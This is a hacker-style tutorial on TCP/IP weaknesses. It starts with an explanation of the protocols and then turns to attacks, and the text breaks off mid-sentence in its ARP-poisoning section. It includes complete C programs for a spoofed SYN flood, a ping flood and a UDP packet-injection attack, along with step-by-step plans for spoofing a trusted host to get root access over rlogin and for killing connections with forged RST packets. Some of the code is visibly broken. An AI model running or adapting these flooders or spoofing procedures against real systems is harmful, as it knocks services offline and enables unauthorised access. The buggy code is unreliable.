************************************************************** * TCP/IP VULNERABILITIES AND WEAKNESSES * ************************************************************** by shaun2k2 --[ INTRODUCTION ]-- The intent of this paper is to explain and explore the various serious vulnerabilities in the TCP/IP suite, and IPv4 itself. I assume you have a working knowledge of UNIX-like systems and know a *little* about networking. I will first start with essential IP background knowledge, and then move onto various vulnerabilities in TCP/IP. [SECTION I - BACKGROUND KNOWLEDGE] --[ 1.0 INTERNET PROTOCOL - ANATOMY / THEORY ]-- The Internet Protocol, also widely known as 'IP', is a connectionless, semi-reliable Network protocol, originally developed by the U.S military intended to be a usable network topology for its internal communications. IP provides a layered protocol structure for Network communications. In this structure, each protocol provides a sort of function to the layer above it (see below). The TCP/IP suite consists of 4 main protocols, within itself: * IP * TCP * UDP * ICMP Although IP is the most important of protocols in this list, it cannot by itself do much, such as make connections. This is where the "Transport-layer" protocols come in, such as TCP and UDP, whilst the "Network Protocols" (IP, ICMP) do the slightly lower-level stuff. Arguable the most important and most widely used transport protocol is TCP, and probably shall be for a while to come. I will below briefly describe the basic purposes for each protocol, their characteristics, and their common misconceptions. --] 1.1 PROTOCOLS - IP This is the backbone protocol of the entire TCP/IP suite. However, it cannot do much on its own. IP uses 32-bit packet headers to store address data, and is the busiest protocol included in the TCP/IP suite. One major security flaw within IP itself (this security flaw is one of the main ideas used in this paper) is the fact that the IP protocol stack does not verify the supplied "source address", and just assumes that the packets "source address" is the proper valid one. As you can see, this is a major flaw. IP packets usually contain quite a few flags, and other important bits of data. These I will explain later below. --] 1.2 PROTOCOLS - TCP TCP stands for "Transmission Control Protocol" and is the most commonly-used and most popular transfer-level protocol included in the TCP/IP protocol suite. TCP is VERY general purpose, and used for most modern network daemons distributed across the Internet. The TCP protocol first requires that a connection is established between two hosts, before any real communication can take place (see the "TCP/IP - The Three-Way Handshake" below). TCP is a very reliable transfer protocol, which is one of the reasons it remains the most popular transfer protocol in wide-use, and ensures always that all data sent arrives in the correct order, and not jumbled up. TCP is also a very fast protocol, so combined with the above information, it is easy to see that TCP is an ideal protocol in itself, but contains its own problems related to security. You will learn about many of these later. TCP/IP packets contain quite a few headers and flags, which I will attempt to explain in a little detail later, focusing on their prime purposes and attributes. --] 1.3 PROTOCOLS - UDP UDP is a connectionless protocol, and stands for "User Datagram Protocol", which unlike TCP, DOESN'T guarentee that all data sent arrives in the correct order at all. Also unlike TCP, UDP does not actually guarentee the receipt of data sent at all, and it can be downright annoying when data goes missing, and packets are not received, along the way. Although TCP IMHO outranks UDP by far, UDP does still have its advantages; UDP, although is pretty unreliable, is fast. Very much faster than TCP, infact. Faster enough to the extent that developers when writing certain programs sacrafice the slight possibility that data might not arrive sometimes to gain the advantage of speed in their Network applications. One common example of this is in games. UDP is actually quite a simple protocol, and datagrams contain no flags or sequence numbers. --] 1.4 PROTOCOLS - ICMP ICMP - ICMP, which stands for "Internet Control Message Protocol", is also a connectionless protocol. Possibly the most common use for ICMP is error-checking. For example, if a user sends a UDP datagram to a host, and the remote host is not running a Network daemon on the port the datagram was addressed to, the remote host will send out an ICMP packet, with Type code 3 set, Destination Unreachable (ICMP_UNREACH). ICMP is a "Network Protocol", which is on the same level as IP, at a lower level than transmission level protocols, such as UDP and TCP. Another very common use for ICMP packets is to see if a host is up, aka ping. --] 1.5 INTERNET PROTOCOL - PORTS Ports are basically, with technically sucked out, a user interface, used by the kernel to identify network processes at any time. Together with an IP address, a port provides a specific destination process on an IP connected host to deliver an addressed packet to. Ports are, however, strictly transport-protocol level only, in other words IP itself has nothing much to do with them. Ports are used only in Higher-level protocols (transfer protocols), namely TCP and UDP. You will often hear the phrase "Well-known ports" during discussions of ports. The port range 1-1023 are the "well-known ports", and are usually restricted so that only root (or the administrator) can bind to them. Any port 1024 ad onwards can be used by any user, as long as they are not already in use. Processes bound to ports are usually described as "Network daemons" or "daemons". They are the programs which provide specific services to the client host during a TCP or UDP connection between two hosts. --] 1.6 TCP/IP - THE THREE-WAY-HANDSHAKE Before two hosts can communicate via a TCP/IP connection, a connection of "trust" must first be established, as a means of communication. The TCP connection establishment process is divided in three parts, also known as "The three-way-handshake". I will attempt to explain this process in a little detail: ****************************************** CLIENT: SYN (ISN A) -> SERVER SERVER: SYN (ISN cool.gif, ACK (ISN A + 1) -> CLIENT CLIENT: ACK (ISN B + 1) -> SERVER ****************************************** At this point, the connection is now established, and either hosts can proceed in sending data back and forth between the newly established connection. I will give a quick explanation of what the client and server were doing. First, the CLIENT host sent a TCP/IP packet, with the SYN flag set, which tells the destination host that it wants to open a connection with it. Included in this packet is the CLIENT's ISN (Initial Sequence Number). The SERVER receives this connection request, and replies with a packet with the SYN flag set (SYNchronise flag), along with the ACK flag, to ACKnowledge the receipt of the first SYN packet. In the packet, the SERVER sets the ISN (Initial Sequence Number) accordingly ("randomly"), and sets the ACKnowledgement number as the CLIENT's ISN + 1. To complete the connection, the CLIENT host responds to the SYN|ACK packet with it's own ACK packet, to ACKnowledge the receipt of the previous packet, and sets the ACKnowledgement number as the SERVER's ISN + 1. From that point onwards, from when the connection is sent into the state "ESTABLISHED", every packet sent from either of the two party hosts must have the ACK bit set, to ACKnowledge previously sent packets. --] 1.7 TCP/IP - THE FOUR-WAY-HANDSHAKE What goes up, must come down. Eventually, a TCP/IP connection between two hosts must be closed. To do this, the two hosts alternatively use a "four-way-handshake", just as a "three-way-handshake" is used to initiate a connection. Here is the sequence of packets sent: ****************************************** CLIENT: FIN (SN) -> SERVER SERVER: ACK (SN + 1) -> CLIENT SERVER: FIN (SN) -> CLIENT CLIENT: ACK (SN + 1) -> SERVER ****************************************** The connection, given a few seconds (usually 30-120 seconds), will be brought to a complete close. As you can probably gather what is happening, I will give only a brief explanation of what is happening: The CLIENT (or SERVER, for that matter) sends a FIN packet to the SERVER (to tell it that it has FINished sending data), with the correct sequence number. The SERVER then sends a responding packet back, with the ACK bit set, to ACKnowledge the receipt of the packet, with the ACK number as the SN (Sequence Number) + 1. The SERVER then proceeds to send another packet, this time one with the correct sequence number set, and the FIN flag set. To finish off the four-way-handshake, and to close the connection, the CLIENT sends an ACK packet, with the ACK number as the SERVER's SN + 1. --] 1.8 TCP/IP - PACKET FLAGS As explained above, hosts send packets to one another with various different flags set, to do various different things, at various different times. Some examples of these flags are SYN, ACK and FIN. I attempt below to list all of the flags and flag combinations used in TCP/IP connections, and their purposes: ****************************************** * SYN - This is the first packet in a connection, indicating to the server host that it wants a connection with it. * ACK - The ACK flag is used throughout the entire connection to ACKnowledge previously received packets. Examples include ACKnowledging a SYN packet, or a packet containing important data just received. * FIN - This flag is used to indicate to the other host that they are FINished sending data, and that the connection can be consequently ended. * RST - The RST packet is sent whenever the host receives an unexpected packet, such as an ACK with out ever receiving a SYN. This resets the connection, and the two hosts can reconnect, if needed. * SYN|ACK - This combination of flags is used to ACKnowledge s received SYN packet, and to send it's SYN information to the remote host. * FIN|ACK - The FIN|ACK flag combination is used to ACKnowledge the received FIN packet, and to complete the connection closing sequence. * URG - This flag is seldom used in any legimate connection. It's actual purpose is to indicate that the contained data is URGent. * PSH - The PSH flag is also seldomly used in legimate connections too. It's purpose is to flush all queued data. ****************************************** As you can see, there are many packet flags, some used more than others. You will learn more about these later, when I explain various vulnerabilities in the TCP/IP suite. --] 1.9 TCP/IP - PACKETS In IP packets, there are various important and essential pieces of data in a packet, depending on what protocol a packet belongs to (e.g ICMP, TCP etc...). Below I attempt to explain various important things in each type of packet/datagram. * IP - There are a lot of headers in the IP section of a packet. Some of the essential ones include: source address, destination address, TOS, TTL, packet ID, protocol (i.e TCP or UDP), IP version (4 obviously), packet length, the checksum, and the IP header lengths. These need to be set in every packet/datagram/segment sent, be it TCP, UDP or ICMP. * TCP - In the TCP protocol, the important things in a packet are the essential IP packet headers, and various TCP specific headers and flags. These include: source port, destination port, header lengths, the sequence number, the ACK number, the checksum and various other flags. Here is a diagram to illustrate the basic format of a typical TCP packet: +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ACK Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Offset |(reserved) | Flags | Window | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | URG Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Packet Options (Padding) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | User Data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * UDP - As well as TCP, UDP datagrams need the IP packet headers and flags set, and then the UDP specific ones set. The important ones are: source port, destination port, the checksum and header lengths. Here is what a typical UDP datagram looks like: +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Length | Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | User Data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ As I said earlier, there are only a few things that a UDP packet holds, as UDP is a very simple connectionless protocol, thus needs to transfer less information in it's datagrams. * ICMP - Again, as in every IP packet, the IP packet headers and flags are once again needed. There is only three things that need to go in an ICMP packet: message type, code and checksum. The type specifies what type of ICMP request it is, e.g ICMP_ECHO (ping). --] 2.0 FURTHER READING I hope I have given at least a very brief overview of TCP/IP, and it's components. I suggest some further reading on the subject, to widen your knowledge on the subject. Here are some recommended links: TCP/IP References ****************** http://www.phrack.org/phrack/33/P33-08 http://www.phrack.org/phrack/34/P34-08 http://www.cisco.com/univercd/cc/td/doc/ci.../ito_doc/ip.htm http://www.cisco.com/warp/public/535/4.html http://www.garykessler.net/library/tcpip.html http://www.acm.org/crossroads/xrds1-1/tcpjmy.html TCP/IP Vulnerabilities and Weaknesses References ************************************************* http://www.phrack.org/phrack/49/P49-07 http://www.ja.net/CERT/Bellovin/TCP-IP_Sec...y_Problems.html http://staff.washington.edu/dittrich/talks/agora/ http://islab.oregonstate.edu/koc/ece478/pr...t/2000RP/LV.pdf - A white paper in PDF format. [SECTION II - ATTACKS] --[ 1.0 ATTACKS - IP SPOOFING ]-- Due to bad designing of the TCP/IP suite, it is almost trivial to spoof a packet apparently originating from a host that is NOT you. The term 'IP spoofing' can be used to describe any process in which a person fakes, or "forges" a packet to look like it came from elsewhere, often a "trusted" host. The ability to spoof IP packets, and the fact that IPv4 does NOT check the validity of the source address and source port in a packet's headers is one of the MAIN vulnerabilities in the TCP/IP protocol suite. There are various types, and various techniques attackers might use when attempting to spoof packets, or better, spoof a connection. IP spoofing can be used in two main ways: to cause DoS, or to gain access to a system as a "trusted" host. I will describe various methods and ways of doing so. --] 1.1 ATTACKS - SYN FLOODING As explained earlier, when a host wants a connection, they send an initial SYN packet to the host that they want to form a connection with. The host then replies to the apparent SOURCE ADDRESS with the SYN|ACK packet, and so on. From the moment the server host sends the SYN|ACK packet to the originating source address of the SYN packet, the connection request is placed onto the kernel's TCP/IP stack UNTIL it receives the final ACK packet from the client host. But what if, for instance, that the server host never did receive the final ACK packet from the originating source address of the connection request? And what if A LOT of connection requests were made? Wouldn't they keep getting placed onto the kernel's TCP/IP stack? Yes! This is a major flaw in TCP/IP, partially due to bad design. Obviously, the connection requests are discarded after a shortish amount of time, but it is very easily possible to saturate a hosts resources via a SYN flooding attack. I will now attempt to explain how this attack works. Host C (for Client) sends a SYN packet to host S (for Server) to request a connection, with a SPOOFED source IP address. Host S then replies to this packet, with a SYN|ACK packet, replying to the SPOOFED address. The connection request is then placed on the stack until a final ACK is received. But since the source address of the SYN packet was SPOOFED, the Host S (the server) will NEVER receive an ACK packet, because the host who it sent a SYN|ACK packet to doesn't even exist, so the connection requests stay on the stack! And in a SYN flooding attack, an attacker sends literally hundreds if not thousands of packets a minute, so with all of these thousands of unanswered connection requests sitting on the stack, Host S could be brough to it's knees as it's resources and starved and it's process table is saturated. On some platforms, the machine can be brough to almost a total lockup, and the CPU utilisation can be RAISED dramatically to 100%. This has become a very popular and effective DoS attack, as it is a pretty easy DoS attack to launch with pre-built tools, and requires minimal knowledge of the victim host. Here is a basic diagram of what would be happening during a SYN flooding attack: ****************************************** Host X: SYN (ISN A), SRC (Z) -> Host S Host S: SYN (ISN), ACK (A + 1) -> Host Z (non-existant) ...Connection request put on stack... ****************************************** Because of not getting replies to these (thus taking them off the stack), Host S soon gets pretty bogged down, as described above. Below I provide a minimal piece of C code I wrote, that performs a SYN flooding attack on a specified host, with a spoofed source address, obviously. This code is only provided as an example of how such an attack could be implemented into a program: *************************************CUT HERE********************************** /* To keep code as small as possible, I haven't included a checksum, which may * result in some packet loss. */ #include #include #include #include #include #include #include #include #include int main(int argc, char *argv[]) { if(argc < 3) { printf("Usage: %s \n", argv[0]); printf("Synflood was written by shaun2k2 - shaunige@yahoo.co.uk\n"); exit(-1); } int sock; char packet[4096]; /* Datagram. */ struct sockaddr_in dest; struct iphdr *ip = (struct iphdr *) packet; struct tcphdr *tcp = (struct tcphdr *) packet + sizeof(struct iphdr); struct hostent *he; if((he = gethostbyname(argv[1])) == NULL) { printf("Couldn't resolve hostname!\n"); exit(-1); } if((sock = socket (AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) { printf("Socket failed!\n"); printf("Must be root to make raw socket.\n"); exit(-1); } dest.sin_family = AF_INET; dest.sin_port = htons(atoi(argv[2])); dest.sin_addr = *((struct in_addr *)he->h_addr); memset(packet, 0, 4096); // Zero out packet. // Fill in IP headers. ip->ihl = 5; ip->version = 4; ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); ip->id = htons(1337); ip->saddr = inet_addr("127.0.0.1"); ip->daddr = inet_ntoa(dest.sin_addr); ip->ttl = 255; ip->protocol = 6; ip->check = 0; ip->tos = 0; ip->frag_off = 0; // Fill in TCP headers. tcp->source = htons(1337); tcp->dest = htons(atoi(argv[2])); tcp->seq = htons(random()); tcp->ack = 0; tcp->syn = 1; tcp->window = htons(65535); tcp->check = 0; tcp->doff = 5; tcp->rst = 0; tcp->psh = 0; tcp->fin = 0; tcp->urg = 0; tcp->ack_seq = htons(0); printf("Syn flooding: %s!\n", argv[1]); /* Insert some more fork()'s in here, if you want. */ fork(); fork(); while(1) { sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct sockaddr)); } return(0); } *************************************CUT HERE********************************** --] 1.2 ATTACKS - PING FLOODING (ICMP flooding) Over the years, along with SYN flooding, Ping flooding is arguably one of the most popular DoS attacks among script kiddies on the Internet. Ping flooding too is a very simple attack. All that is involved is sending a continuous stream of ICMP_ECHO packets (also known as "Ping Packets"). When doing this attack, the attacker is at quite a bit advantage if he/she has a faster Internet connection than the victim. I will attempt to explain below how a ping flooding attack works. Host X (the attacker) sends a continuous stream (or as many packets as possible) of ICMP_ECHO packets (ping packets) to Host S (the server host), as fast as they can. Since Host X (the attacker) continuously sends ICMP packets without waiting for a reply from a spoofed address, Host S is effectively severely bogged down with the process of responding to the spoofed ping requests. The packets are sent so fast, and so many are sent that eventually sometimes Host S is forced to devote ALL 100% CPU utilisation to the responding of the ICMP packets. The reason the attacker spoofs the source address of the packets is because if they didn't, they would become bogged down also, with receiving all of those ICMP_ECHO reply packets. It is also an anonimity measure of the attacker, so that Host S cannot log the IP address and report them to their ISP. As I said, it is indeed a VERY simple DoS technique, but yet a VERY effective one. This is one of the primary reasons it is a favourite of common script-kiddies. I will again provide some source code as an example of how ping flood attacks are often implemented into programs: *************************************CUT HERE********************************** #include #include #include #include #include #include int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: %s \n", argv[0]); exit(0); } int sock; char packet[5000]; char r[5000]; struct sockaddr_in dest; struct hostent *host; struct iphdr *ip = (struct iphdr *) packet; struct icmphdr *icmp = (struct icmp *) packet + sizeof(struct iphdr); if((host = gethostbyname(argv[1])) == NULL) { printf("Couldn't resolve host!\n"); exit(-1); } if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) { printf("Couldn't make socket!\n"); printf("You must be root to create a raw socket.\n"); exit(-1); } dest.sin_family = AF_INET; dest.sin_addr = *((struct in_addr *)host->h_addr); ip->ihl = 5; ip->id = htons(1337); ip->ttl = 255; ip->tos = 0; ip->protocol = IPPROTO_ICMP; ip->version = 4; ip->frag_off = 0; ip->saddr = htons("1.3.3.7"); ip->daddr = inet_ntoa(dest.sin_addr); ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr); ip->check = 0; icmp->checksum = 0; icmp->type = ICMP_ECHO; icmp->code = 0; printf("Ping flooding %s!\n", argv[1]); fork(); fork(); while(1) { sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct sockaddr)); } return(0); } *************************************CUT HERE********************************** --] 1.3 ATTACKS - BLIND SPOOFING ATTACKS Now onto the good stuff. The term "blind spoofing" is usually used to describe IP spoofing that will get you access to a system as a trusted host, but more specifically, it means that ALL IP spoofing is blind (even our DoS IP spoofing techniques above, but we don't need to know what's going on in a DoS attack anyway), and it is. By this, it means that we don't know exactly what's going on, and we don't know immediately if what we've attempted has worked. We explore two kind of types of blind IP spoofing: Sequence Number Prediction Attacks, and just single packet spoofing attacks. Sequence Number Attacks allow you to brute force or take educated guesses at the SERVER's SYN|ACK packet's Sequence number, and thus form a connection, whereas ordinary packet spoofing just allows you to send a spoofed packet on it's own (maybe useful when spoofing a packet to a UDP port, or spoofing an ICMP request). --] 1.3.1 ATTACKS - BLIND SPOOFING ATTACKS - SEQUENCE NUMBER PREDICTION This is the ultimate attack in IP spoofing, to gain a connection with a host, pretending to be another host, preferably a trusted host. All that is required is that the attacker can predict the sequence number of the server host's SYN|ACK packet after sending a SYN packet, but this is not as simple task as somebody might think. First, there's the issue of actually guessing the sequence number of this packet of interest, and secondly, there's the issue of the host you are spoofing of answering to the SYN|ACK packet, and sending a RST (reset connection) packet because it was not expecting the SYN|ACK packet. The second problem is actually simpler to deal with. A classic method of preventing the spoofed host from replying to the SYN|ACK packet with a RST is by SYN flooding it (see above for details). Now onto how to solve our first problem. There are three main ways that server's generate their sequence numbers. and thus three main ways of taking an educated guess at the sequence number of the server's SYN|ACK packet. I explain them briefly below: The 64k technique ****************** Old Operating Systems use a strange, but easy to guess technique of generating it's Sequence numbers. They use this simple set of rules: * Increment the Sequence Number counter EVERY second by 128000. * Everytime a new connection is formed, increment the Sequence Number counter by 64000. If you think about it, if you came across an old Operating System which still uses this method, it would be rather easy to spoof a connection. Some Operating Systems which use this simple method include some very old versions of SunOS, and some other oldish OSes. Time incrementation technique ****************************** Some Operating Systems use a method of generating Sequence Numbers. The technique used is again very simple, and thus pretty easy to break. It works like this: "The Sequence Number counter is incremented by 'x unit_of_time'" This means that the Sequence Number counter is increased by 'x' every 'unit_of_time'. For example, of some old Linux kernels, the Sequence counter might be increased 1 every microsecond ('1 usec' in this case). Modern techniques ****************** More modern Operating Systems (VERY modern) now use random number generators to generate Sequence Numbers. This makes the Sequence Number VERY hard to guess, almost impossible sometimes, perhaps. Now, onto the theory of how an attack could be done: The 64k technique ****************** All that an attacker would need to do is verify that the server host actually uses this method. This could be done by sending a packet (NOT spoofed) to the host, and examining the Sequence number, repeating the process and seeing if added together they can be divided by 64000 (I'm no math genious, but I'm pretty sure that would work as a way of figuring out if the host uses that method). Now that we are sure it uses that method, onto how we could exploit it to get a connection, which looks like it's from "trusted" host, Host T. * DoS Host T so that it does not respond to received packets with a RST (because it wasn't expecting packets from Host S (server)). * Send a packet to Host S (server), which is NOT spoofed. * Get the Sequence Number from the received packet, and from that, calculate the following: GUESS = SEQ + 64000 * Now, you need to start a new connection. Spoof a SYN packet from Host T (trusted host). * Wait, and then send an ACK packet spoofed from Host T, with the ACK number set to GUESS + 1. In theory, you should now have a spoofed connection between Host T, and Host S, which you can now use to pretend to be Host T, and get access to everything Host T has access to. An example of when this would be useful is when you want to gain access to somebodies shell via rlogin. Just say that Host S has a .rhosts file with the contents "root HostT". Host T is trusted, and automatically let in as root. If we did the above to spoof an rlogin session, theoriotically we have cracked root on Host S. One question that comes to mind now is "but how can we reply to Host S with ACK packets if we don't know when it has sent them?". This is not so much of a problem as one might initially think. After a certain amount of time ("timeout") it will attempt to do a re-transmission of the data, and if then it doesn't receive an ACK packet from Host T, it will not send anymore data, but will still process your sent packets! Time Incrementation techniques ******************************* If the system is using this method, it makes the job of the attacker considerably harder. The same as above is done, but with a slight variation, obviously: * DoS attack Host T, so that it does not respond with RST packets. Classically, a SYN flooding attack is used. * Predict the correct Sequence Number (information below). * Send a SYN packet to Host S, spoofed from Host T, to request a connection. * Wait, and send an ACK packet, with the ACKnowledgement number as the predicted Sequence Number + 1. Theoreotically, there is now a connection between Host T, and Host S (server), that you can now use to pretend to be Host T (the trusted host), and access anything that Host T is allowed to access. However, as you may have realised, the main problem is actually guessing the correct Sequence Number. Since Host S is using this method of generating Sequence Numbers, it will be significantly harder than the previous method explained above (the 64k method). Virtually the only way you can guess the correct Sequence Number via Blind spoofing (i.e you cannot see the packets, and thus examine them) is by brute forcing. One notable thing about the server host's reaction to wrong Sequence Number guesses is the fact that on some Operating Systems when a Sequence Number larger than the real one is sent, a RST packet is sent by the server host. --] 1.3.2 ATTACKS - BLIND SPOOFING ATTACKS - SEQUENCE NUMBER PREDICTION TOOLS There are many tools out there, most of them for free, availiable to assist an attacker whilst attempting to perform a blind spoofing attack. One of the most useful ones is "SEQ-scan" which sends SYN packets to a target host, and from the received SYN|ACK packet's Sequence Numbers determines an educated guess at what the next sequence number would be. SEQ-scan can be used to determine the correct Sequence Numbers for both the old 64k Sequence Number generation technique, and the time related generation techniques. SEQ-scan is availiable here: http://www.thenewbiesarea.com/texts/anonym...ipspoofing2.htm Some other good Sequence Number prediction tools include: Mendax - http://rootshell.com/archive-j457nxiqi3gq5...endax_linux.tgz DSniff - http://www.monkey.org/%7Edugsong/dsniff/ Spoofit.h - http://www.thenewbiesarea.com/texts/anonym...ipspoofing1.htm (bottom of the page). --] 1.3.3 - ATTACKS - BLIND SPOOFING ATTACKS - PACKET SPOOFING Sometimes attackers don't actually NEED a connection with a server host, rather they just need to spoof a single packet, to do a certain thing. In this case, it is very much easier than the above spoofing technique above, Sequence Number Prediction. In this case, all an attacker needs to do is inject a packet/datagram/segment, and set a fake source address. As you can probably see, this is quite a big flaw and security vulnerability in TCP/IP, as the TCP/IP suite makes absolutely no attempt at verifying that the supplied source address is actually the real one. Below, I will explain how an attacker could use this flaw to his/her advantage. Say for example that there is a game which allows you to play against somebody over the Internet, but instead of using the TCP protocol for transfering the data to each opponent, it uses UDP for extra speed. Just say for example that the author of the game wrote a little routine that made the play quit/submit the game if they send the string "LOSE" in the UDP datagram, and this option is accessed via a little menu on the game. All an attacker has to do to make his opponent lose the game is spoof a UDP datagram to appear that it has originated from your opponent, and inject the string "LOSE" into it. Here is a basic diagram of what would be happening during one of these packet spoofing attacks: ****************************************** Host X: SRC (Host C), DATA ("LOSE") -> Host S ...Host S closes the session, and Host C loses the game... ****************************************** The datagram sent by Host X (the attacker) had a spoofed source address, pretending to be from Host C (the opponent). The game server received the datagram, and presumed it was from Host C, and consequently ended the game, leaving Host X as the winner. This does not seem like a huge security flaw, but what if this was a login server we were attacking, which the author had written to just automatically execute commands specified by the sender just by checking that the source address was right? Then the system would be at risk. Below is a minimal piece of C code I have written , just as an example of how such an attack could be implemented into a program: *************************************CUT HERE********************************** #include #include #include #include #include #include int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: %s \n", argv[0]); exit(0); } int sock; char packet[5000]; char msg[50] = "LOSE"; int msglen = strlen(msg); struct sockaddr_in dest; struct hostent *host; int sport = 1337; struct iphdr *ip = (struct iphdr *) packet; struct udphdr *udp = (struct udphdr *) packet + sizeof(struct iphdr); if((host = gethostbyname(argv[1])) == NULL) { printf("Couldn't resolve host!\n"); exit(-1); } if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) { printf("Couldn't make socket!\n"); printf("You must be root to create a raw socket.\n"); exit(-1); } dest.sin_family = AF_INET; dest.sin_addr = *((struct in_addr *)host->h_addr); dest.sin_port = htons(1024); ip->ihl = 5; ip->id = htons(1337); ip->ttl = 255; ip->tos = 0; ip->protocol = IPPROTO_UDP; ip->version = 4; ip->frag_off = 0; ip->saddr = htons("1.3.3.7"); ip->daddr = inet_ntoa(dest.sin_addr); ip->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr); ip->check = 0; udp->source = htons(sport); udp->dest = htons(dest.sin_port); udp->len = htons(msglen + 8); memcpy(packet + sizeof(ip) + sizeof(udp), msg, msglen); printf("Sending UDP datagram.\n"); sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct sockaddr)); return(0); } *************************************CUT HERE********************************** --] 1.3.4 ATTACKS - BLIND SPOOFING ATTACKS - CONNECTION KILLING As you probably know by now, the RST flag is a very commonly used flag in packets, usually used to signal to the remote host that the connection should be reset. The only thing that is needed in a RST packet is the RST bit set to 1, the SEQuence number set to the CLIENT's SEQuence number + 1, and the source port. It is NOT as simple as simply sending a spoofed TCP packet with the RST flag set, and killing the connection. Although this is still a serious vulnerability in TCP/IP, to exploit it we would again as above have to brute force BOTH the source port (the port the client host is sending data from), and the correct Sequence number to send. To brute force the Sequence Number, see above. The process of brute forcing the source port is a little easier, as usually the only possibilities is the range 1024-65535. Here is a basic diagram of what would happen during a connection killing attack: ****************************************** ...Host T is communicating with Host S... Host X: RST, SEQ (A), SRC (Host T, Port 1234) -> Host S ...Host S closes the connection because it thinks the RST packet was from Host T... ****************************************** --] 1.3.5 ATTACKS - BLIND SPOOFING ATTACKS - CONNECTION KILLING TOOLS Although TCP connection killing is an interesting sub-topic in IP spoofing, there exists only a few tools for this purpose. A nice TCP connection killing program written in C is "tcpkill". You can grab the source code for tcpkill here: http://packetstormsecurity.org.pk/groups/w...sniff/tcpkill.c Note that tcpkill requires that you have libpcap installed on your UNIX machine. You can download Libpcab here: http://www.tcpdump.org/release/libpcap-0.7.2.tar.gz --] 1.5 ATTACKS - IP SPOOFING - FURTHER READING You might want to read more about IP spoofing. Here's some good links for further reading on the subject: IP spoofing ************ http://www.securityfocus.com/infocus/1674 http://www.hack.gr/linux/gazette/issue63/sharma.html http://www.cert.org/advisories/CA-1996-21.html http://www.phrack.org/phrack/48/P48-14 http://bau2.uibk.ac.at/matic/spoofing.htm --[ 1.0 ATTACKS - TCP SESSION HIJACKING ]-- TCP session hijacking is the term used to describe an attacker hijacking an already established connection, usually allowing them to execute commands as the actual connected user. It is due to slight design errors in the TCP/IP suite that this kind of attacks is possible, making it almost trivial for the attacker who has seized access to the connection to execute commands as the legimate user. There are a few various types of TCP session hijacking techniques, but a very commonly used one, and arguably the most popular of TCP hijacking techniques is the "Man-in-the-middle" attack. --] 1.1 ATTACKS - TCP SESSION HIJACKING - MAN-IN-THE-MIDDLE ATTACK The "man-in-the-middle" attack is a common method of taking over a TCP connection between two hosts, and allows the attacker who has gained access to the connection to execute commands as the client host. This is done by active passive sniffing of the network for packets travelling which are related to the target session, modifying them, and injecting them back into the Network so that the two connected hosts cannot easily tell that any modification of the packets has been done. Before an attacker can carry out a man-in-the-middle attack between two connected hosts, they must first somehow get between the communications path of Host C and Host S. The classical way of doing this is known as "ARP spoofing" or "ARP poisoning". The ARP table on a host is just a method that a networked host uses to keep track of MAC and IP address associations. Every so often, one host on the network might send out an ARP request. An ARP request asks a question, like this "Is your IP address x.x.x.x? If so, send me your MAC address.". The message is broadcast across the network, and the host with the IP address x.x.x.x replies to the ARP request, providing it's MAC address with it. ARP spoofing therefore is sending out ARP replies (nobody has necessarily asked for it, the attacker just sends one) with a spoofed source address from the IP address you want the hosts to believe you are. The host will then update it's own ARP cache table, now associating your machine's MAC address with the spoofed IP address, thus sending all traffic meant for x.x.x.x to you. In this case then, the attacker's need for ARP spoofing in his planned "man-in-the-middle" attack is the process of changing Host C's ARP cache to believe that the IP address of Host S is the attacker's IP address, and changing Host S's ARP cache to make it believe that Host C's IP address is the attacker's. All very interesting, but how do we actually do this? Here is a simple diagram of what happens during an ARP poisoning/spoofing attack: ****************************************** ...The attacker broadcasts an ARP reply, claiming that it infact owns the IP address x.x.x.x Host X: DST (Host S), SRC (Host C), DATA ("I own x.x.x.x, my MAC address is xx:xx:xx:xx") Host X: DST (Host C), SRC (Host S), DATA ("I own y.y.y.y, my MAC address is yy:yy:yy:yy.") ****************************************** What the attacker has done is, forge an ARP reply to be pretending to originate from Host C, to Host S, saying that it infact owns the IP address x.x.x.x, and that it's MAC address is xx:xx:xx:xx. Host S now believes that Host C's IP address is x.x.x.x, and it IS, but it also believes now that Host C's MAC address is xx:xx:xx:xx, but it's NOT, it's the attacker's MAC address! Now every time Host S has a packet that it intends for Host C, it searches through it's ARP cache, and determines that Host C's MAC address is xx:xx:xx:xx, but it is not, it is infact the attacker's address, but believes so because of your spoofed ARP reply! Then the attacker spoofs 